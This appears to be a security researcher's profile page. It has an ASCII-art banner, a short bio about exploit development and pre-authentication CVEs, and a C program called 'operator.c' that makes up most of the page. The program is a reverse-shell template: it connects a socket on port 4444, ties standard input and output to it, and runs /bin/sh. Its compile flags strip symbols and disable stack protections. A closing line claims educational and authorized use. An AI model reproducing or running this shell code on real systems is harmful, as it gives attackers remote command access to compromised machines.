_     _       _   _     _       _    
 ___| |__ (_)_ __ | |_| |__ (_)_ __ | | __
/ __| '_ \| | '_ \| __| '_ \| | '_ \| |/ /
\__ \ | | | | | | | |_| | | | | | | |   < 
|___/_| |_|_|_| |_|\__|_| |_|_|_| |_|_|\_\
  

Vulnerability Research · Exploit Development · Reverse Engineering

Security researcher focused on zero-day discovery and exploit development for web applications and CMS platforms. Published multiple critical CVEs with a focus on pre-authentication attack vectors.

/*
 * operator.c — no symbols, no debug info, no mercy
 * compile: gcc -s -fno-stack-protector -z execstack
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PORT 4444

void _start() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in sin = {
        .sin_family = AF_INET,
        .sin_port   = htons(PORT),
        .sin_addr   = { .s_addr = INADDR_ANY },
    };
    connect(sock, (struct sockaddr*)&sin, sizeof(sin));
    dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
    execve("/bin/sh", NULL, NULL);
}

_{Research published for educational and authorized testing purposes only. CVEs under responsible disclosure.}